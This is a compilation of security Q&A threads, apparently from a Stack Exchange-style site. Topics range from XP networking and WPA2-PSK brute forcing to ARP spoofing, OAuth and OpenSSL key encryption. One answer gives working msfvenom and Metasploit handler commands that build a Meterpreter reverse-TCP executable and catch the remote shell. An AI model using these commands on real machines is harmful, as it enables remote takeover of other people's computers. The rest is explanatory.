That is nice, but a firewall would only be needed if that XP box was networked. And you shouldn't connect an XP machine to any network that is not air gapped at this point. Even air gapped networks pose risks as other machines could be used to pivot (and be it from inside threats).

  Though I have several other computers running Windows 7, I have never "networked" them to the XP computer. They only use the same wifi connection as the XP computer.

So you're saying you didn't network them, they are only in the same network? I'm not sure whether you understand what "networking" is meant to mean.

Stop networking your XP box. Right now.

  I want to use the XP computer for the outdated software and to occasionally go online.

Nope. You do never want to go online with that machine.

  What are the risks?

Complete and utter compromise of your XP box and possibly your whole network, both with a high probability.

  If I only visit safe websites, am I still in danger? Is there any danger to my other computers?

That depends what you mean by safe websites, but there is a high probability that those use ads - and ad campaigns can be used to deliver drive by exploits that Windows XP is no longer getting any patches for.

As the comments suggested: there are even more risks, which I opted to preclude with presuming your firewall was watertight and you only browsed safe pages and read no mails and had no office installed etc.

All of my presumptions are probably not true.

Let me make this clear: you shouldn’t network an XP machine at this point - at all. Not even just for browsing “safe” websites, not even with a watertight firewall.


modifying an httponly cookie before sending the request can an http request be altered on the client side ( with a browser, preferably ) to modify the value of an httponly cookie. If yes, then how?

I know modern browsers don't allow this. But if you could, then how would you do it??

ps: if you downvote, please make sure to let me know "why" in the comments..

thanks

HTTPONLY is an optional flag denying Javascript to access the cookie, but the user is not constrained by that. It's intended to mitigate Cross Site Scripting,  not to protect the cookie from tampering.

  can an http request be altered on the client side ( with a browser, preferably ) to modify the value of an httponly cookie?

Yes, and it's trivial. A cookie is in complete control of the user. He could just install an extension to view/edit cookies, or to tamper the request.

Remember that the cookie is an user provided information, and don't blindly trust any cookie. If you need to store user's data, store it serverside, inside a session, and forward only the session cookie to the client. With enough entropy, bruteforcing the session cookie will be close to impossible.


Is it safe to use OAuth (Resource Owner Password Credentials Grant) for authentication? Specifically, do I have to worry about the confused deputy problem if I'm just trying to authorize a user against a single API?

For example: a basic messaging service will want to authenticate and then authorize a user to send a message.

Using a mobile application, is it safe/smart to use Resource Owner Password Credentials Grant in OAuth2 as a form of authentication and authorization for a user to send a message through this API?

The biggest security issue associated with Resource Owner Password Credentials Grant is that the application/client is privy to the user's password.

For instance, if the application/client was from a company AwesomeACME, and the Identity Provider was Google, I certainly wouldn't want AwesomeACME application/client to know my Google password.

However, if AwesomeACME also happens to be the IdP, I would be less concerned but would still question why they didn't use Authorization Code Grant instead.


Nothing happens when payload runs i have a problem with using meterpreter. Here's what i did i'll tell it by using pictures of what i do step by step.

First i created my payload and set the LHOST to my public ip address and generate it.

and then setting my LHOST to my local ip and then execute. I copied my payload through FLASH DRIVE and go to my friend's house. I just run it to his computer (Different network) but its inside my flash drive, i did not copied it inside his computer. (I explain it to my friend what it is and he got my permission)

now the problem is nothing happens. it's stock with "Starting the payload handler...". I already configure my router for port forward you can see the picture below.

Doing that you are setting Metasploit into a "listening" state. Now you are missing the other part. The "victim" should execute the generated executable file and if the victim machine is able to connect to your Metasploit machine, the Meterpreter session will be opened. If the Metasploit machine is behind a firewall, you should open the port from your firewall to the Metasploit machine. Other thing I saw bad on your screenshots is LHOST is not the same on your executable creation and setting the LHOST on the Meterpreter payload. The ip should be the same, is the ip of your Metasploit machine. From your example I guess your ip 124.x.x.x is your Metasploit machine ip.

Anyway, I think is easier to create the executable file using msfvenom. Doing this (outside msfconsole):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=124.x.x.x LPORT=4444 -f exe > /some/path/hehe.exe

Replace /some/path/ with a real existing path on your Linux to deploy there the executable file.

Then on Metasploit you should execute only this:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 124.x.x.x
exploit

After this, Metasploit is ready to receive connections. Then execute the executable file on victim machine and the Meterpreter session will be opened.

I insist, is very important that the victim machine must be able to reach the ip of the Metasploit machine on the port set (4444 on your example).

Good luck.


Why would an attacker ever want to sit on a zero-day exploit? I am trying to understand why an attacker would want to wait to use a zero-day exploit.

I have read that an attacker does not want to waste the zero-day because they are typically very expensive to obtain in the first place, but it is not clear to me what is meant by “waste” here. Zero-days can be discovered by the community (e.g. security researchers) which would render it useless. In this sense, the zero-day has been wasted by the inaction of the attacker. Is there a risk with using the zero-day exploit too soon? It seems that an attacker would want to minimize the chances of the zero-day being discovered, and thus use it as quickly as possible.

Question: What factors would cause the attacker to wait to use a zero-day exploit?

It's more likely that you'll burn a 0day by using it than by sitting on it.

There's a fine balance between sitting on a 0day so long that it gets discovered by someone else and patched, and using it too early and unnecessarily, burning it. The balance tends to weigh in favor of waiting longer, since a good 0day is going to be obscure enough that it won't be quickly found. The biggest risk actually isn't discovery in that case, but obsolescence when the vulnerable code is re-written or removed for completely unrelated reasons, and the 0day exploit no longer works.

Most of the time, however, an attacker simply doesn't need to use it. If I have a valuable Linux local privilege escalation exploit, why would I use it when a little bit of extra reconnaissance tells me I can use an old exploit against an improperly patched privileged daemon? Better to keep it in the rainy day fund.

There are a few other reasons 0days may be kept for long periods:

Some people simply hoard 0days for the sake of it. This is all too common.
Maybe you borrowed the 0day from someone, in which case burning it would piss them off.
Sometimes a 0day broker is sitting on them while waiting for the right client.
The 0day may be useless on its own, needing to be chained with other exploits to work.

There was some interesting research presented at BH US which analyzed the life of 0days.


Non-OEM Biometric Software? Most of us with fingerprint readers and such devices probably use the software provided by the vendor, to enable biometric OS login or single sign-on functionality.  However, I've recently wondered if there is any third-party software that will do the same thing.

This would be similar to how you don't need the manufacturer's software to use a scanner, printer, or webcam - you just use their drivers and your choice of software. Is there anything like this for fingerprint readers or other biometric devices?

Additional info from merged question: Many fingerprint readers and other biometric authentication devices come with software for single-factor authentication to the OS. Is there any third-party software (F/OSS or otherwise) available for making OS authentication a two-factor process, such as by requiring both a fingerprint and a passcode?

Free or Open Source projects are preferred, but I'd be interested in learning about any existing solutions regardless.  I personally am particularly interested in Windows-compatible software, but I'll leave the query open for any OS.

HP Protect Tools Security Manager integrates well with Windows and it lets you configure requirements to require a fingerprint and password if you want. I haven't had a look at any other current ones.


If WPA2-PSK is insecure, what other options do home users have? from what I'm reading online it seems that one can land attacks and successfully crack a WPA2-PSK wifi network, is that true and if it is, how home users can secure their networks? I seen an application on android that can reveal the wifi password even with WPA2 and it was not a trick.

I know that there is a vulnerability with WPS, even when using WPA2, but aside from that is WPA2-PSK really secure?

There are two (main) modes in which to run WPA2. You can use enterprise mode or pre-shared key (PSK) mode.

If you run in enterprise mode you need to set up an authenticating RADIUS server, and configure certificates on the clients that will connect to the access point. Furthermore you need to configure the AP will all the relevant information. This level of effort is well beyond the abilities of a typical user.

WPA2-PSK mode uses a pre-shared key that both the client and AP know. This is the password, and simply using a password is within the technical abilities of most users. The password is never actually exchanged when a client connects to an AP. Instead there a is a four way handshake that occurs. Through this process the client can prove to the AP that it knows the PSK.

WPA2-PSK is not really insecure. Instead I would say it's vulnerable to a brute force attack. If an attacker can capture a 4 way handshake (a trivial task) they can run that handshake through a dictionary in order to derive the PSK. This is the key part. Just like with normal password hashes long, complex passwords are they key to making the brute force attack un feasible.

As a final note: WPA2-PSK networks are "salted" with the name of the AP. Rainbow tables exist with precomputed hashes for the most common AP names that exist (think "hilton-hhonors", "starbucks" etc). A way to get a unique salt (and thus defeat the rainbow table) is to have a unique AP name.

Edit: If you're curious about what a "good" password length then is if you have to use PSK? According to IEEE 802.11i (the amendment that details WPA2)

  A pass-phrase typically has about 2.5 bits of security per character, so the pass-phrase mapping converts an
  n octet password into a key with about 2.5n + 12 bits of security. Hence, it provides a relatively low level of
  security, with keys generated from short passwords subject to dictionary attack. Use of the key hash is recommended
  only where it is impractical to make use of a stronger form of user authentication. A key generated
  from a pass-phrase of less than about 20 characters is unlikely to deter attacks*.

*Emphasis mine. However keep in mind 802.11i was published in 2004. Computing power has since changed. I would still agree though that 20 characters is pretty good.


Android apps, does WebRTC IP-leak affect other apps than browsers (like youtube etc) Does it matter if you're using a VPN do hide your ip on an Android phone when you use apps like youtube, facebook, or third party open source apps like NewPipe (youtube) or "Tinfoil for Twitter" or "Tinfoil for Facebook"? Will WebRTC give away my ip anyway, or is that just for browsers?

WebRTC only returns private IP Address of a cient and not public IP Address because WebRTC client has no idea what your public IP Address is if you are behind NAT and this is what WebRTC client wants to find out.

If you are using VPN, your request to STUN server - who is responsible for discovering your public IP Address and behind what type of NAT you are sitting at, sees your request coming from VPN.

But using VPN doesn't prevent webRTC client to send binding request to STUN server. Any embedded iframe can execute JavaScript that makes the browser initiate a transaction to a STUN server that can return the local IP address, along with the external IP and port number that can get through the firewall or NAT back to the browser.

Any app which is implemented with webRTC API is a webRTC client and yes they can leak your private IP Address. WebRTC is required by those apps who want to support P2P-VOIP and video calling so there are only handful of apps.

YouTube does not use webRTC. Facebook messenger and hangout use webRTC for voice calling so they can discover your private IP Address. Browsers were the first which came with integrated support for webRTC API and this is the list of websites that are using webrtc.

If you are wondering what What's app use for voice and video calls, it uses PJSIP libraries.

If you are using VPN and you find that your real IP Address is leaking, then that's the fault of your VPN client. It is not tunneling your traffic properly. STUN server should only see the IP Address of your VPN server. If this is not happening, it means that webRTC client is making STUN request outside of the VPN tunnel as shown in figure.


What is the use of EXE and DLL files on iOS device I have a doubt regarding iOS application pentest.

I am pentesting one iOS application. The application is protected by MDM software.

Installation Process - Once I install the MDM on iPhone device and provide the VPN server credentials then the company pushes the application from the server (It means I do not need to download the application from the app store). Thus how the app is installed on the end user iOS device.

When I navigated through the file/folder structure, I found the main application EXE file and its supporting DLL files along with the traditional iOS app files in the same folder.

My question is - Is that a misconfiguration or by any chance is there any bridge between iOS OS and EXE/DLL files. Why are they are there? Any use of EXE and DLL on iOS device? According to my understanding, there is no use of EXE and DLL files on iPhone device. Am I correct?

Assumption - I haven't checked their Android app. If I would have found the same there then, I would assume that they have the universal package on their end which they push to every type of the end user device types such as Android, Windows Desktop, iPhone etc.

Can this be a reason? Upon Googling, I found that the app might have made using the Xamarin technology framework - https://www.visualstudio.com/xamarin/

As you've noticed, Mono/.NET applications compile to .exe and .dll files even for non Windows systems. Note that these files don't actually contain native code of your application, they're essentially just wrapper for .NET IL codes archive. IIRC, the reason a .NET application is wrapped in .exe so that if you try to run the application in old Windows that didn't have .NET framework installed, the application will display an error message prompting you to to install .NET framework. In other platforms, running these .NET .exe files requires a native wrapper to unpack the IL code from the .exe/.dll files.


Exchange Autodiscover XML question (Exploit related) Recently we had an issue with the Exchange autodiscover.xml appending ".com" to our mail servers autodiscover address. It resulted in a certificate error due to the name not matching the certificate. After hunting that down and correcting it (by someone much smarter than me) I got to thinking how, other than by a dumb mistake, would that get changed?

Obviously my main concern is some type of vulnerability or exploit in our network or mail server. After a little research I couldn't find anything real obvious that it could be and I was hoping someone here would be able to point me to some resources I could use to continue my research.

Also any thoughts on how else this could have happened and how it could be prevented in the future would be appreciated.

It's likly exchange is just getting the wrong config/setup wrong you can FORCE the correct settings this way without local administrator

This is how I setup autodiscover

the xml file is placed on your local disk some place and edit the path to your exchange XML server RedirectUrl

autodiscover.xml

<?xml version="1.0" encoding="utf-8" ?>

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">

<Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">

<Account>

<AccountType>e-mail</AccountType>

<Action>redirectUrl</Action>

<RedirectUrl>https://mail.COMPANY.com/autodiscover/autodiscover.xml</RedirectUrl>

</Account>

</Response>
</Autodiscover>

the reg patch is just modified to reflect the path to the XML file above

autodiscover.reg

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\outlook\Autodiscover]
"COMPANY.com"="H:\\COMPANY\\Outlook\\autodiscover.xml"

[HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\outlook\Autodiscover]
"COMPANY.com"="H:\\COMPANY\\Outlook\\autodiscover.xml"

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\outlook\Autodiscover]
"COMPANY.com"="H:\\COMPANY\\Outlook\\autodiscover.xml"

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\outlook\Autodiscover]
"COMPANY.com"="H:\\COMPANY\\Outlook\\autodiscover.xml"

restart outlook profit


Security against ARPspoofing If I had 2 networks, one with a router and clients connected to it, and other with clients connected to switch and this switch connected to router, which one would be more secure in terms of ARP Spoofing?

I believe that since switch is a layer 2 device and doesn't understand IP addresses, it won't maintain an ARP table and hence an ARP poisoning attack isn't possible on it.

But I wonder if the router would maintain an ARP table or not. And if not, how would the "router-switch" combo decide which machine should a packet, arriving from Internet, be delivered to?

1.) A router needs to maintain an ARP table.

Every device that wants to transmit to another directly connected device based on the network layer address needs to translate it into the link layer address. A router would either have to route the packet to another router (in this case it needs to look up the link layer address of the other router) or to a device in a network directly connected to itself (in this case it has to look up the link layer address of the device). Since the router receives a packet with a network layer address of a device in a network directly connected to it, it would look up the link layer address in the ARP table and forward the packet accordingly (in your scenarios either directly or via the switch).

2.) A switch may maintain an ARP table.

This depends on whether the switch operates on the link layer or on the network layer. If it operates solely on the link layer it only knows about link layer addresses. It would just remember which link layer address is connected to which of its ports and forward the packets accordingly.

3.) Routing of packets arriving from the Internet via a router-switch combo

Packets arriving from the Internet via your router-switch combo would first arrive at the router, which would know that the packet is destined for a device connected to your switch (or more precisely for a device located somewhere in the network segment connected to the port of the router to which your switch is connected). It knows this since the network layer address of the destination is listed in its ARP table. When the packet arrives at the switch, it would know on which of its ports the device for which the packet is destined is connected. It does so by looking up to which port the device with the link layer address of the destination is connected.

4.) ARP spoofing

Finally, ARP spoofing is done by impersonating someone by making others believe that the network address of your target should be mapped to your link layer address instead of the targets link layer address, i.e. manipulating the ARP tables of other devices. In both of your scenarios ARP spoofing on the local network is possible. This is due to the fact that one can manipulate the ARP tables on the devices connected to the switch / router. The switch / router would then received the packets already with the wrong link layer address set and only forward them to you instead of the intended destination.


Is e-mailing personal information significantly riskier than transmitting the same information another way? I've been asked by bankers, school administrators, insurance agents, car salesmen, realtors, you name it to send them all kinds of information over e-mail over the years. Everything from my address and phone number to credit card information and Social Security Number, either as text or in the form of scanned documents. Depending on the situation, sometimes I've said no, and sometimes I've said yes.

I know regular e-mail is insecure in theory while in transit, but not much more than that. A lot of times companies/people seem concerned only about convenience, so they make it hard to find other ways to send the information, like regular mail or faxing. So I'm wondering, is the danger in sending this information via e-mail much greater than the danger of those other ways?

I did a bit of homework before asking, and here's my current (but potentially flawed) understanding. There are two categories of vulnerability here, network sniffers at either endpoint and less-than-trustworthy servers on the route between the endpoints. From what I've read, it seems like the greater danger in practice is sniffers at endpoints (e.g. realtor checking mail on a public coffee shop network), although this is mitigated if people at both ends are on relatively safe (i.e. private) networks and/or using HTTPS-enabled webmail.

As for the other threat, I have a vague understanding of networking, and I wouldn't know where to begin getting control of machines that actually route e-mails between their start and end points. The danger there feels lower to me both because it seems more technically challenging and because such a machine would probably process a high volume of mail, so, "security" through obscurity might apply.

The alternatives are also hard to judge. Regular mail seems secure (if slow) but unless it goes to the final recipient, it might get scanned and insecurely e-mailed anyways. Faxing seems about as tangly as e-mailing, just over a different network, but probably harder for an attacker to "tap" in a useful way?

So, in addition to my main question above, I'd appreciate if you could correct any misconceptions I have there.

Hopefully the mail traffic is encrypted via tls, but unless you administer your own mailserver there is no way to enforce this. To be shure your data is save you have to use pgp/gpg, bot many companies think that is too complicated for them.
You must decide if you really want to do business with them if they are not prepared to safeguard your data.
As a compromise maybe you can send a password protected zip file und exchange the password via a separate channel, e.g. a telefone call.


What's the difference between Radius and Kerberos? Is Radius just a better version of Kerberos? I can't find anything about this.
If you set up a Radius server in a modern network do you need Kerberos at all?

Kerberos will take verify your credentials and give you a "ticket" that you can use to prove to other systems/services that you are you. The ticket will expire, and doesn't contain your credentials. You have to be on the network for this to work. More information on Kerberos can be found here: MIT - Kerberos

RADIUS is a way to get on the network. You give your credentials, and they will be checked before you are allowed access to the network. More information on RADIUS can be found here: Wikipedia Entry

So when you are trying to access a network, you provide your credentials and RADIUS will check to see if you are allowed on the network. If you have wrong credentials, you don't get on.

After you are on the network, you will want to have access to other services, i.e. email. This is where Kerberos comes in. You authenticate to Kerberos, if you check out ok, Kerberos will give the ticket, (think of a pass) that you can use to access those other services without having to spread your actual credentials everywhere.


Should users be allowed to to login with the same email when an email change is requested but not completed? I've found a very similar question: Should users be allowed to log in with the same password when a password change is requested but not changed?. But the key difference here is that requesting an email change can only be done when someone is logged in, whereas a password change (through the "forgot password" flow) can be done even when someone is logged out. It'd therefore be impossible to lock someone else out of their account if a login was not allowed while the new email hasn't been verified yet.
With that in mind, during the period between the email change request and the new email being verified, should log in with the old email be permitted (assuming that the email represents the username)?

Verifying the email upon change is more of a UX protection than a security protection. If a user has a typo when they enter the new email, and don't notice it, then they will end up permanently locked out of their account unless they can login with the old email. As a result, it's actually the opposite:
A user MUST be able to login with their old email until the new one is verified.
A user SHOULD NOT be able to login with their new email until verified (this will just cause confusion and the user will skip the verification process)
One quick note on why this isn't really a security measure: an attacker can easily provide and validate an email address, so this doesn't provide any protection against account theft.


How can I improve the security of my protected branches in GitHub/GitLab? Many online Git hosting services (such as GitHub and GitLab) allow you to 'protect' certain branches so that only project administrators can modify them.

The purpose of this is to allow non-admin contributors to work in other branches without risking the production code sitting in master.

The problem with this is that the only thing protecting the master branch from being modified by non-admin contributors is some arbitrary/non-standard setting in the web control panel for whatever Git hosting service I am using.

Is there a way that the security of this system could be improved? For example by being backed by some form of proper authentication or cryptography?

I believe Git doesn't have any authentication related features except providing your credentials to the hosting service you are using when you try to push.

That's why the option to "protect" a branch is relying on the hosting service and is implemented differently from one service to another.

The security of this system depends on the security of the hosting service itself.


How secret are secret forums? I'm looking into setting up a forum for a writers group I attend; this would be for sharing stories amongst ourselves. In order to retain first rights, this has to be within a hidden forum, where the wider internet can't gain access to it.

Assuming that the server it's hosted on is trustworthy, are these forums actually secure for these purposes? I'm considering using Simple Machines forum software, but this is a more general question: how sure can I be that the information on these forums will remain hidden? There is obviously the risk that a member will spread stuff around (unlikely, as we all know each other in the real world), but can the software generally be considered secure?

Will any hidden forums be cached by, for example, Google? If not, why not - is it a genuinely secure feature of this kind of software, or the equivalent of asking nicely (like robots.txt)?

I should perhaps clarify that I am going to be the sole administrator of this website, and the host is someone I believe to be trustworthy, so problems with terms of service etc. are irrelevant to me. I am asking if the software can be considered secure.

There are several risks here, in particular:

An authorized user may reproduce your post elsewhere.
The forum software may be flawed or misconfigured and allow anyone to log in.
The forum software may later be reconfigured to be public.

You can't do anything about someone reposting your content, but fortunately that doesn't matter for your purpose. If someone publishes something in violation of your copyright, that won't affect your first rights.

As long as the publisher considers posting on a private forum to not count as prior publication, it doesn't matter if the post turns out to be publicly accessible in some way that bypasses the intended security. That would be no different from someone sneaking into your home and stealing your manuscript. It would be an illegal act on the part of the person who bypassed the intended security, and therefore it wouldn't could in any legal argument.

The case of a forum whose configuration changes after you've posted is more problematic, because it doesn't involve anybody doing anything illegal, and yet it causes your post to become public. To figure out such a case, you would need to know the precise circumstances (did you have a contract of some kind with the forum host? Were you informed that the forum might later become public?) as well as the publisher's precise rules for first rights (if he has rules set in stone or at least on paper). This gets into the realm of lawyers.

It wouldn't hurt to accompany your post with a disclaimer like “This post is only for review amongst members of the Springfield writing circle. Public distribution is prohibited.”. You would need to ensure that the place where you're posting it is indeed intended to be private to that writing circle, but the additional language might tip the balance in the specific case of a changed configuration.

Do note that this is not legal advice, it's some stranger on the Internet providing an unsourced opinion, which is worth exactly the paper it's printed on.


If Full Disk Encryption is enabled, is encrypting the backups a moot point? Assume that a server has Full Disk Encryption enabled - LUKS for Linux and BitLocker for Windows. This FDE requires a passphrase on boot to allow the disk to be unlocked and facilitate the boot process.

Many pieces of Backup and Recovery software offer the option to encrypt your backup. Presumably this prevents a attackers ability to mount your backups a la Phineas Fisher should they fall into the wrong hand or you have an actor in your network by requiring a passphrase to decrypt the password.

Assuming your encryption passphrases for your FDE is different from other passwords on your network to eliminate password replay attacks, does encrypting your backup in addition to using FDE offer any additional protection or is it simply overkill?

EDIT: My question is in reference to strictly technical security, and procedural issues / people issues should not be taken into consideration.

First off, it depends on whether you are backing up a bit-level image of the encrypted disk/filesystem or backing up a mounted (unencrypted) filesystem that happens to exist on an otherwise encrypted disk.

If your backup software is accessing the unencrypted files directly then your backup will be unencrypted. In this case, you would want to enable encryption in your backup software.

Per the issue of double-encryption, this might be considered a defense-in-depth strategy in case something goes wrong with the primary encryption mechanism. Additionally, you could potentially be adding a second layer of key management controls here in addition to the second layer of encryption. Deciding whether or not this is overkill requires a measurement of the impact of losing the data vs the additional cost of double-encryption. Unless there is a time-constraint problem or technical challenge which makes this excessively hard to do it will most likely be worth the cost and not really considered overkill.

Keep in mind that the defense in depth strategy also protects you from some system administration mistakes. For example, if you do this across all systems in your organization and one is setup without disk encryption the backup encryption will still be in place as a safety net.


Does removing a GUI from a server make it less vulnerable? Lately, I was watching an online video about Microsoft Certified Solutions Associate (MCSA) and in one of the videos it says "removing GUI from Windows server makes it less vulnerable."

Is that true? If so, how does removing the GUI have that effect?

Removing the GUI is useful and recommended. It will remove unused components, a lot of libraries, and makes the install size smaller.

How does this make it less vulnerable?

Fewer components equal less attack surface. A vulnerability on a GUI component will not affect you. Attacks relying on GUI components won't work either.

So, when designing a server, remove every single component not needed by the application you are serving. It will be way more secure than using the default install.


Unclear attack(?) on web server: GET requests for tar files I am currently looking at the logs of my server and it is currently targeted by an IP address in the Netherlands performing requests to routes such as /X.tar.gz, where they increment X from a to z and 0 to 9. The same happens without the gz extension.
I don't serve such content and all of these requests are actually responded to with 400/410, as they should. I am reasonably familiar with attacks coming in that try to exploit vulnerabilities in e.g. wordpress and other tools (so far none of them that I could see for the actual software used on the server), but this strikes me as a bit odd, because most attacks that I see either POST, or have query parameters.
What could the intention here be? Are they trying to scrape my data (how common could it possibly be to store just single character/digit tar files)? Is this some kind of botnet thinking that my server is their server? Something completely different?

I doubt this is a targeted attack, similar to what most people said in the comments, this is a bot probing for tarballs created by a naive webmaster or archiving software. Don't pay these bots much attention as they likely scan the entire IPv4 space.
If you are still unsure if the attack was targeted, you can use IP reputation tools like Greynoise and AbuseIPDB to determine if the attack has been seen by others.


What to do against Spectre-1, Sprectre-2 and Meltdown on Linux and Windows in 01/2018? How to handle Spectre-1, Spectre-2 and Meltdown for now, in 01/2018?
It can almost never be wrong to do the following

Stay up to date with your browser and OS e.g. Linux kernel update
Update anti-virus software if installed
Be careful

But is there some precise patch or update or something in Windows 10 or Linux (like Ubuntu 16.04 or newer) to fix those security problems as far as possible for now?
Something with the BIOS, ...?

PS: Since this a current problem, in my opionion, current solutions are changing.

The current (late January 2018) status of Spectre and Meltdown mitigation is as follows:

Linux, Windows, and MacOSX all have patches that nearly completely eliminate the impact of Meltdown.  This comes at a performance cost that varies with workload: a computation-heavy workload such as scientific computing likely won't see a measurable slowdown, while an IO-heavy workload such as a high-performance database server might see as much as a 30% slowdown.  The average home user will see a slowdown of 5% or less.
Linux is working on kernel and compiler changes that will make Spectre much harder to exploit, at some cost to performance.  This is still very much under development; you're unlikely to see it in a production system.
Intel has released microcode patches that reduce the impact of Spectre on some recent CPUs, at some cost to performance.  However, the current patches also increase the frequency of spontaneous reboots, so it's not recommended that you install them unless you're a high-value target.
AMD has also released microcode patches that reduce the impact of Spectre, but unlike the Intel patches, these don't appear to have any stability issues.
An antivirus won't provide much, if any, protection.  Antiviruses can only protect you against things somebody else has already seen, and it's very difficult to spot a Meltdown or Spectre attack in action.


Are combined sign in / up pages dangerous, and how to improve them? I'd like to code a combined sign in/up page like the one in the picture below.

My colleague said this will allow spammers/hackers to see what email addresses are registered with our system and this is bad.

But surely this is no different than the way hackers can check email addresses on a normal sign up page where it says 'this email is already in use'.

Is my colleague right? Is my design more dangerous? If so, why, and how can I alter it to keep the one-page minimalist UI but still be safe?

But surely this is no different than the way hackers can get check email addresses on a normal sign up page where it says 'this email is already in use'.

Yes, you are right, and your colleague is wrong. The issue would also exist if the sign up page was not on the same page as the sign in page.

Any preventative measures for this issue can be implemented regardless of whether you have two pages or one combined page (for example, you could display and require a captcha when the user enters something in the sign up fields, and obviously in the backend you can rate-limit on sign up, but not on sign in - or both, to also prevent bruteforce attempts on the sign in).

That being said, the design seems rather confusing. It's not clear to me that this is also a sign in page, and I would expect a lot of people to accidentally sign up again because they are unsure on how to use the form correctly.


What encryption is applied on a key generated by `openssl req`? When a key is generated with openssl genrsa, the encryption is selected with a command line argument such as -aes128. After the key is generated, we can see what encryption was used in the file. Ex:

cat host.key

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AF4EBC2AE861F6FE8C751F7DAD5D4721
...
-----END RSA PRIVATE KEY-----

When a key is generated via openssl req -newkey rsa:2048 -keyout host.key, the file does not tell what encryption was used.

-----BEGIN ENCRYPTED PRIVATE KEY-----
...
-----END ENCRYPTED PRIVATE KEY-----

What is it?

How does openssl rsa -in host.key know how to decrypt the key?

Update

openssl req does encrypt by default with DES-EDE3-CBC.

openssl req -new -x509 -out server.cer -keyout server.key -subj "/CN=toto/"

Generating a 1024 bit RSA private key
..................++++++
..++++++
writing new private key to 'server.key'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----

cat server.key

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02306CD22AAC94CD
-----END RSA PRIVATE KEY-----

The problem is with my orignal command. It specified a config which influences key generation in some way still escaping me.

By default, the config will assume encrypt_key = yes. That leads to the key being encrypted with an unspecified algo. Specifying encrypt_key = no under the [req] section is equivalent to the -nodes argument.

The following questions remain though:

What encryption is applied by openssl req when a config is specified?
Can the algorithm be controlled?
How does openssl rsa guess the right cipher for decryption? It must obviously be encoded somewhere in the data...

At first it seems nice to have openssl req generate the key for me. But genrsa offers more control.

What encryption is applied by openssl req when a config is specified?

Grepping through the source code it seems to me, that it's either triple DES or nothing. (Regardless of anything that may have been configured in your configuration file.)

$ git log apps/req.c | head -n3
commit f1cece554ddf282f1512b4da04664467746ffd24
Author: Richard Levitte <levitte@openssl.org>
Date:   Tue Jul 7 11:13:20 2015 +0200

$ grep -n -C1 cipher apps/req.c
197-    X509_REQ *req = NULL;
198:    const EVP_CIPHER *cipher = NULL;
199-    const EVP_MD *md_alg = NULL, *digest = NULL;
--
216-#ifndef OPENSSL_NO_DES
217:    cipher = EVP_des_ede3_cbc();
218-#endif
--
590-        if ((p != NULL) && (strcmp(p, "no") == 0))
591:            cipher = NULL;
592-        if (nodes)
593:            cipher = NULL;
594-
--
597-        assert(private);
598:        if (!PEM_write_bio_PrivateKey(out, pkey, cipher,
599-                                      NULL, 0, NULL, passout)) {

  Can the algorithm be controlled?

Nope. See above.

  How does openssl rsa guess the right cipher for decryption? It must obviously be encoded somewhere in the data...

Yes. It's in the file. The file itself is an ASN.1 file. You can use OpenSSL to parse it.

$ openssl asn1parse -in keyviareqnewkeycommand.pem -i | cut -c-90
    0:d=0  hl=4 l=1294 cons: SEQUENCE
    4:d=1  hl=2 l=  64 cons:  SEQUENCE
    6:d=2  hl=2 l=   9 prim:   OBJECT            :PBES2
   17:d=2  hl=2 l=  51 cons:   SEQUENCE
   19:d=3  hl=2 l=  27 cons:    SEQUENCE
   21:d=4  hl=2 l=   9 prim:     OBJECT            :PBKDF2
   32:d=4  hl=2 l=  14 cons:     SEQUENCE
   34:d=5  hl=2 l=   8 prim:      OCTET STRING      [HEX DUMP]:D48091CF79B0E2D2
   44:d=5  hl=2 l=   2 prim:      INTEGER           :0800
   48:d=3  hl=2 l=  20 cons:    SEQUENCE
   50:d=4  hl=2 l=   8 prim:     OBJECT            :des-ede3-cbc
   60:d=4  hl=2 l=   8 prim:     OCTET STRING      [HEX DUMP]:EEF03DDF397E19DB
   70:d=1  hl=4 l=1224 prim:  OCTET STRING      [HEX DUMP]:A8DACADF4BABA008CF155C960FD112C

Now PBKDF2 is the key stretching/key derivation algorithm and des-ede3-cbc is the encryption algorithm.


Mallory stops capturing with Segmentation fault Debug: UDPprotocol[m]? I have configured mallory on Kali VM to intercept traffic originating from my Windows 7 VM. I am running dnsmasq on the internet facing interface on the kali machine (acting as dns server address from Windows 7) and the other interface is acting as a gateway for the Windows 7 machine. The issue is whenever I start capture, mallory shows Segmentation faults and stops capture. Is there any configuration change to be made for dnsmasq.conf file, resolv.conf file etc.?

After encountering a similar issue, I suspect you might not have installed Mallory's certificate in Windows. This is located in

mallory/current/src/ca

Installing this resolved the seg faults I received when testing iOS.


How secure is lastpass if TLS is MITMed? In the scenario where my browser is configured to trust a signing certificate that is controlled by an entity which actively replaces the TLS certificates of all my connections (basically I am being MITMed), what risks do I face by using the LastPass browser extension? I'm assuming that other than the certificate substitution, my connections are only eavesdropped on and that payloads aren't altered.

My current understanding is this: Lastpass client will send a hash of my master password to the lastpass servers. A valid hash will mean the server returns my encrypted password vault. The MITM can replay this hash to get my encrypted vault. Decryption of the vault happens in browser. As such my risks are:

MITM gains the ability to capture my encrypted vault (either off the wire or by replaying my hashed password).
MITM replaces my lastpass extension with a trojaned version during an update.
MITM captures my credentials for other sites when I use them after retriving them from lastpass.

Is my understanding correct? Can I assume that (absent a trojaned extension) my vault as a whole and any credentials I don't use over the MITM connection are safe?

If an adversary is able to issue arbitrary certificates your browser trusts, then everything you do in the browser can potentially be compromised. On the three points above:

If the vault blob is encrypted properly, it should be useless without the master key known only to you. They could use other techniques to intrude though, such as seeing if the file size has changed and correlate that with your web activity to infer that you created new credentials for a site. If they also control your e-mail system, then they may be able to use password reset techniques to enter those accounts.
If your browser trusts that CA to sign code, then you should probably not be using the browser for trusted tasks like password management in extensions. The most powerful change they could introduce in the "trojaned" update is to simply transmit your master password to a location they control, and they will have everything. Consider using a non-browser-integrated password management solution if you are concerned.
